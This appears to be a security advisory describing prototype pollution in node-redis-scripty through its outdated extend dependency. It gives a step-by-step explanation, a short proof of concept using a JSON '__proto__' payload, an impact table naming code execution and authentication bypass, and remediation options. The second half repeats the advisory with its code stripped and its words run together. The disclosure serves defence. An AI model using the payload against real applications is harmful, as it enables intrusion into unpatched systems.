Prototype Pollution in node-redis-scripty
Summary
node-redis-scripty (<= 0.0.6) is vulnerable to Prototype Pollution through its dependency extend@1.3.0, which lacks __proto__ key sanitization. The Scripty constructor passes user-controlled options directly to extend(true, ...).
Vulnerable Code
lib/Scripty.js:
var extend = require('extend');
var Scripty = function(redis, opts) {
var conf = {};
this.conf = extend(true, conf, opts); // ← user opts passed unguarded
// ...
};
module.exports = function(redis, opts) {
return new Scripty(redis, opts);
};
The dependency declared as "extend": "^1.2.1" resolves to extend@1.3.0. Note: extend@3.0.2 patched Prototype Pollution by adding a setProperty helper that uses Object.defineProperty for __proto__, but extend@1.x has no such guard — it uses raw target[name] = value.
Why This Is Vulnerable — Step by Step
1. Attacker input: JSON.parse('{"__proto__":{"polluted":"pwned"}}')
→ __proto__ becomes an OWN ENUMERABLE property
→ for...in WILL enumerate it
2. extend(true, {}, payload) is called inside Scripty constructor
→ Inside extend, for (name in payload) iterates "__proto__"
→ copy = payload['__proto__'] = {polluted:"pwned"}
→ isPlainObject({polluted:"pwned"}) → true
3. clone = target['__proto__']
→ For target = {}, this resolves to Object.prototype via the prototype chain
→ isPlainObject(Object.prototype) → true (no __proto__ guard in extend@1.x)
4. Recursive call: extend(true, Object.prototype, {polluted:"pwned"})
→ Object.prototype['polluted'] = "pwned"
→ POLLUTION COMPLETE
5. Every {} object in the Node.js process now has .polluted === "pwned"
Proof of Concept
const scripty = require('node-redis-scripty');
// Before
console.log({}.polluted); // undefined
// Trigger PP via constructor (redis arg can be {} - PP fires before redis is used)
const malicious = JSON.parse('{"__proto__":{"polluted":"pwned"}}');
try { scripty({}, malicious); } catch(e) { /* redis init may fail, but PP already happened */ }
// After — ALL objects are polluted
console.log({}.polluted); // "pwned"
console.log(new Object().polluted); // "pwned"
Impact
| Attack |
Mechanism |
| Remote Code Execution |
Pollute shell, env → child_process.exec |
| Authentication Bypass |
Inject isAdmin: true into user/session objects |
| Denial of Service |
Override toString, valueOf → crash all object operations |
| NoSQL Injection |
Pollute query operators ($where, $gt) |
| SSRF |
Inject hostname, port into HTTP client configs |
Any application using this library that accepts user-controlled options to the Scripty constructor (e.g., from HTTP request bodies parsed via JSON.parse) is exploitable.
Remediation
Option 1 (recommended): Update extend dependency
"dependencies": {
"extend": "^3.0.2"
}
extend@3.0.2+ has a setProperty helper that uses Object.defineProperty for __proto__, preventing prototype chain modification.
Option 2: Sanitize user input before passing to extend
var Scripty = function(redis, opts) {
var conf = {};
// Strip dangerous keys
if (opts && typeof opts === 'object') {
delete opts.__proto__;
delete opts.constructor;
delete opts.prototype;
}
this.conf = extend(true, conf, opts);
};
References
Prototype Pollution in
node-redis-scriptySummary
node-redis-scripty(<= 0.0.6) is vulnerable to Prototype Pollution through its dependencyextend@1.3.0, which lacks__proto__key sanitization. TheScriptyconstructor passes user-controlled options directly toextend(true, ...).Vulnerable Code
lib/Scripty.js:The dependency declared as
"extend": "^1.2.1"resolves toextend@1.3.0. Note:extend@3.0.2patched Prototype Pollution by adding asetPropertyhelper that usesObject.definePropertyfor__proto__, butextend@1.xhas no such guard — it uses rawtarget[name] = value.Why This Is Vulnerable — Step by Step
Proof of Concept
Impact
shell,env→child_process.execisAdmin: trueinto user/session objectstoString,valueOf→ crash all object operations$where,$gt)hostname,portinto HTTP client configsAny application using this library that accepts user-controlled options to the
Scriptyconstructor (e.g., from HTTP request bodies parsed viaJSON.parse) is exploitable.Remediation
Option 1 (recommended): Update extend dependency
extend@3.0.2+has asetPropertyhelper that usesObject.definePropertyfor__proto__, preventing prototype chain modification.Option 2: Sanitize user input before passing to extend
References